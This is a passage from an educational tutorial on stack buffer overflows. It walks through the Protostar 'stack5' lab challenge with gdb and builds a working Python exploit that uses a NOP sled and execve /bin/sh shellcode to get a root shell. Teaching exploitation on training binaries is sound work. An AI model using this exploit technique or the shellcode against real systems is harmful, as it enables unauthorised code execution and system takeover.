In our previous article we have seen how to change variables or either execute functions which should not be done through a stack buffer overflow including few others things. But imagine the case where there is none of this! How we can successfully execute what we want?

Well, the solution is simple! We will use Shellcodes. In hacking, a Shellcode is a small piece of code used as the payload in the exploitation of a vulnerability. It is called "Shellcode" because it typically starts a command shell from which the attacker can control the compromised machine.

Source: wikipedia.org

HOW TO EXECUTE OUR SHELLCODE?

You remember by rewriting saved rip, we could redirect our execution flow anywhere in the memory. If we want to use a Shellcode, the principle is the same except we will redirect the flow to our Shellcode to be able to execute it. The main question is where to put our Shellcode? Well if you remember what we have seen previously, the Shellcode can be put on the stack or in an environment variable.

Placing a Shellcode in the buffer

[[shellcode][padding]][saved ebp][saved eip -> the address to our shellcode]

Placing a Shellcode behind eip

[buffer (padding)][saved ebp][saved eip -> the address of the nop][nop * large number][shellcode]

What is nop? Do you remember our first article. If you already forgot, I kindly suggest you have a look at what we already have seen during our first approach. To cut short, "nop = No Operation", which concretely means to don't do anything and simply move to the next instruction.

How useful is this, you would say? This allows us to have the addresses that go right to the following instructions and finally to the Shellcode, so we no longer have to take the precise address of our Shellcode but just an address in our nop.


EXAMPLE OF EXPLOITATION

It's now the time to move on the concrete aspect of the exploitation and to do this we will use the challenge "stack5" from the Exploit-Education website which contains several exercises regarding binary exploitation. Here is the code that we will use:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buffer[64];
    gets(buffer);
}

How and where to Get Started?

In the above source code, we can see a buffer of 64-bytes is created and the function gets() is called. What we must do is overflow the buffer by rewriting the return address pointing to our Shellcode. Suppose we do not have the source code, we are going to disassemble main using gdb. This will allow us among other things to find the address of the buffer where our Shellcode will be placed.

cd /opt/protostar/bin
gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main

Output

What is a Buffer Overflow and How Hackers Exploit these Flaws part 3

Now we are going to put a breakpoint into the main() function to stop the execution of the program and examine what is on the stack.

(gdb) b * 0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.

Through r and i r for "info registers" we can get a complete overview and analyze the registers. So let's run it and check what we get.

Output

What is a Buffer Overflow and How Hackers Exploit these Flaws part 3

The eax value must contain the string that we have entered "ABCDEF" and therefore the beginning of the buffer is 0xbffffc70.

(gdb) x/s 0xbffffc70
0xbffffc70:     "ABCDEF"

Since the stack esp register points to 0xbffffcbc then we can calculate the length of our padding using the following command:

(gdb) p/d 0xbffffcbc - 0xbffffc70
$1 = 76

We can determinate that our filler length is equal to 76 and since we got it, we can overwrite the return address. In order to do it, open a new terminal and execute the following python command in order to get the complete string:

python -c "print 'A' * 76 + 'B' * 4"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Copy the complete string in your clipboard and back the terminal where your instance of gdb is running and past the string after executing the r command as per the following:

(gdb) r
Starting program: /opt/protostar/bin/stack5
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11      stack5/stack5.c: No such file or directory.
        in stack5/stack5.c

Once you are done, simply execute the following command to check if the value of your stack esp register has been updated:

(gdb) x/s 0xbffffcbc
0xbffffcbc:      "BBBB"

As you can see the content of 0xbffffcbc is now "BBBB", so we can already handle the return address. The return address should be "0xbffffcbc + 4" which is equal to 0xbffffcc0. If you want to be sure that address is already present in the stack simply execute the following command in the terminal that running your gdb instance:

(gdb) x/60wx $eax

Output

What is a Buffer Overflow and How Hackers Exploit these Flaws part 3

Now we are going to create an exploit to verify that we will be able to execute arbitrary code, for this we will use the Interrupt 3 instruction in order to stop the execution of the program and create a breakpoint.

cat >> /tmp/exploit.py << EOL
import struct

def m32(dir):
    return struct.pack("I",dir)

padding="A"*76
ret=m32(0xbffffcc0)
nops="\x90"*20 # NOPs
shellcode="\xCC"*4
print padding+ret+nops+shellcode
EOL

python /tmp/exploit.py > /tmp/file
cd /opt/protostar/bin/
./stack5 < /tmp/file

Output

What is a Buffer Overflow and How Hackers Exploit these Flaws part 3

We see that it works, now we are going to try to execute a shell /bin/sh as root. We can generate the Shellcode using msfvenom or search for one that works in our situation on Shell Storm website. To make it easier for you, I already selected a Shellcode that you can use in this situation and which can be found here. So considering all of this our final payload will be:

import struct

def m32(dir):
    return struct.pack("I",dir)

padding="A"*76
ret=m32(0xbffffcc0)
nops="\x90"*20
shellcode = ""
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89"
shellcode += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode += "\xcd\x80\x31\xc0\x40\xcd\x80"

print padding+ret+nops+shellcode

The final step will be to save the above piece of code in a file that I will personally name "exploit.py" and execute it using the below command:

(python /tmp/exploit.py;cat) | ./stack5

Output

What is a Buffer Overflow and How Hackers Exploit these Flaws part 3

We can now execute commands as root on the system. As I said before, these challenges are an introduction, nowadays binaries have protection, such as NX for Linux or DEP for Windows, which makes some memory areas (usually the stack) not executable. However, understand theses principles is a good start if you want to involve deeper into the Buffer Overflow.

For more information about this tutorial and to see a live demonstration of this type of attack, I encourage you to watch the video below.